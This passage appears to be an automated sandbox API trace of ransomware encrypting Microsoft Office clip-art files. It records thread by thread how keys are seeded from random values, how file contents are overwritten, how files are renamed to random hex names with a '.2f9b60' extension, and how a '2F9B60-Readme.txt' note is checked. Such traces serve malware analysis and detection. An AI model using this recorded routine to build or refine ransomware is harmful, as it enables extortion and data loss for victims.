_Dest="2c") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="19") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="ef") returned 2 [0114.919] RtlInitAnsiString (in: DestinationString=0x3886fba8, SourceString="a664cd8f62bfb735f40439bb7e03a88054c0a5879c2c19ef" | out: DestinationString="a664cd8f62bfb735f40439bb7e03a88054c0a5879c2c19ef") [0114.919] RtlAnsiStringToUnicodeString (in: DestinationString=0x3886fb78, SourceString="a664cd8f62bfb735f40439bb7e03a88054c0a5879c2c19ef", AllocateDestinationString=1 | out: DestinationString="a664cd8f62bfb735f40439bb7e03a88054c0a5879c2c19ef") returned 0x0 [0114.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3340 [0114.919] wcscat (in: _Dest=0x1b7ad8e0, _Source="a664cd8f62bf" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf" [0114.920] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf.2f9b60" [0114.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf.2f9b60", NtPathName=0x3886fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a664cd8f62bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0114.920] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3886fbf0, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0114.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0114.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.922] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x3886fbb8, FileInformation=0x3886fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3886fbb8, FileInformation=0x3886fbc8) returned 0x0 [0114.922] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3886fbb8, FileInformation=0x3886fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0114.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0114.924] FlushFileBuffers (hFile=0x14c0) returned 1 [0114.938] CloseHandle (hObject=0x14c0) returned 1 [0114.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5b20 [0114.943] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0114.943] wcscat (in: _Dest=0x202a5b20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0114.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0114.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0114.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 Thread: id = 1220 os_tid = 0xc38 [0114.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf")) returned 0x20 [0114.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF", dwFileAttributes=0x20) returned 1 [0114.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0114.914] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x3867f900 | out: lpFileSize=0x3867f900*=9112) returned 1 [0114.914] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x2394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.914] ReadFile (in: hFile=0x14d8, lpBuffer=0x3867f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3867f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3867f880*, lpNumberOfBytesRead=0x3867f8c8*=0x4, lpOverlapped=0x0) returned 1 [0114.925] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0114.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0114.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0114.926] NtQuerySystemTime (in: CurrentTime=0x3867f7c0 | out: CurrentTime=0x3867f7c0*=132462177203926000) returned 0x0 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x4165a59f [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x36c49e56 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x41fceb2f [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x5bdb1c70 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x68e9d3e5 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x5367e610 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x67ed52b6 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x1cd18b5 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x73b85dd1 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x14646ff8 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x3d3f6875 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x7b4ecca6 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x4d8c4e10 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x2592d100 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x62e22ca6 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x4c2c4776 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0xc96f6a3 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x413927b5 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x531677cd [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0xc228299 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x34ddee98 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x2f43b24d [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x69aaf214 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x21e1df84 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x35014d81 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x1c861886 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x5a90a25e [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x3dd9d027 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x576f7edd [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x5bad4dbe [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x9cbe450 [0114.926] RtlRandomEx (in: Seed=0x3867f7b0 | out: Seed=0x3867f7b0) returned 0x7ca3c7cb [0114.937] ReadFile (in: hFile=0x14d8, lpBuffer=0x41edb4e0, nNumberOfBytesToRead=0x2398, lpNumberOfBytesRead=0x3867f7b0, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesRead=0x3867f7b0*=0x2398, lpOverlapped=0x0) returned 1 [0114.946] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.946] WriteFile (in: hFile=0x14d8, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0x2398, lpNumberOfBytesWritten=0x3867f7b4, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x3867f7b4*=0x2398, lpOverlapped=0x0) returned 1 [0114.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82adb0 [0114.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9f0 [0114.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9f0) returned 1 [0114.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0114.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0114.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a9f0 [0114.949] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.949] WriteFile (in: hFile=0x14d8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3867f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3867f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0114.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0114.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0114.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b110) returned 1 [0114.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0114.952] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="49") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="02") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="c6") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="4d") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="fe") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="7e") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="42") returned 2 [0114.952] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="95") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="20") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="38") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="c7") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="86") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="da") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="4f") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="dc") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="57") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="6f") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="32") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="47") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="0a") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="28") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="55") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="ea") returned 2 [0114.953] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="cb") returned 2 [0114.954] RtlInitAnsiString (in: DestinationString=0x3867f948, SourceString="4902c64dfe7e42952038c786da4fdc576f32470a2855eacb" | out: DestinationString="4902c64dfe7e42952038c786da4fdc576f32470a2855eacb") [0114.954] RtlAnsiStringToUnicodeString (in: DestinationString=0x3867f918, SourceString="4902c64dfe7e42952038c786da4fdc576f32470a2855eacb", AllocateDestinationString=1 | out: DestinationString="4902c64dfe7e42952038c786da4fdc576f32470a2855eacb") returned 0x0 [0114.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0114.954] wcscat (in: _Dest=0x1b7ad8e0, _Source="4902c64dfe7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e" [0114.954] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e.2f9b60" [0114.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e.2f9b60", NtPathName=0x3867f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4902c64dfe7e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0114.954] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3867f990, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0114.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0114.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.957] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x3867f958, FileInformation=0x3867f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3867f958, FileInformation=0x3867f968) returned 0x0 [0114.957] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x3867f958, FileInformation=0x3867f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0114.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0114.959] FlushFileBuffers (hFile=0x14d8) returned 1 [0114.961] CloseHandle (hObject=0x14d8) returned 1 [0114.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7842e0 [0114.963] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0114.963] wcscat (in: _Dest=0x1b7842e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0114.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0114.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0114.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783cb0) returned 1 Thread: id = 1221 os_tid = 0xc60 [0114.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf")) returned 0x20 [0114.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF", dwFileAttributes=0x20) returned 1 [0114.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0114.969] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x389afa00 | out: lpFileSize=0x389afa00*=4578) returned 1 [0114.969] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x11de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.969] ReadFile (in: hFile=0x14d8, lpBuffer=0x389af980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x389af9c8, lpOverlapped=0x0 | out: lpBuffer=0x389af980*, lpNumberOfBytesRead=0x389af9c8*=0x4, lpOverlapped=0x0) returned 1 [0114.975] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0114.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0114.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0114.976] NtQuerySystemTime (in: CurrentTime=0x389af8c0 | out: CurrentTime=0x389af8c0*=132462177204394000) returned 0x0 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x1c40cf29 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x5f3f50fb [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x50495b35 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x62698ab0 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x18d088ef [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x47ab75f4 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x41565ef2 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x6a26a890 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x737dec62 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x668a81c0 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x1553033d [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x697b635c [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x77737ab5 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x5c3212a7 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x4b203d59 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x1ca7c4c0 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x6e69c235 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x68e1fce1 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x17269519 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x7506d6b7 [0114.976] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x85cb35b [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x612560cf [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x6861d200 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x413b2bf5 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x26fdd7ba [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x720fb045 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x46c310c5 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0xc18dc0a [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x32e0d47 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x3c7bf36c [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x19e15ef9 [0114.977] RtlRandomEx (in: Seed=0x389af8b0 | out: Seed=0x389af8b0) returned 0x1cd773db [0114.988] ReadFile (in: hFile=0x14d8, lpBuffer=0x41edb4e0, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x389af8b0, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesRead=0x389af8b0*=0x11e2, lpOverlapped=0x0) returned 1 [0114.993] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.993] WriteFile (in: hFile=0x14d8, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0x11e2, lpNumberOfBytesWritten=0x389af8b4, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x389af8b4*=0x11e2, lpOverlapped=0x0) returned 1 [0115.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0115.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0115.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0115.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0115.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0115.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0115.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263e90 [0115.011] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.011] WriteFile (in: hFile=0x14d8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x389af9d0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x389af9d0*=0x10a, lpOverlapped=0x0) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0115.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0115.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0115.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0115.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0115.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0115.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.016] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="71") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="66") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="27") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="72") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="9c") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="b8") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="dc") returned 2 [0115.016] sprintf (in: 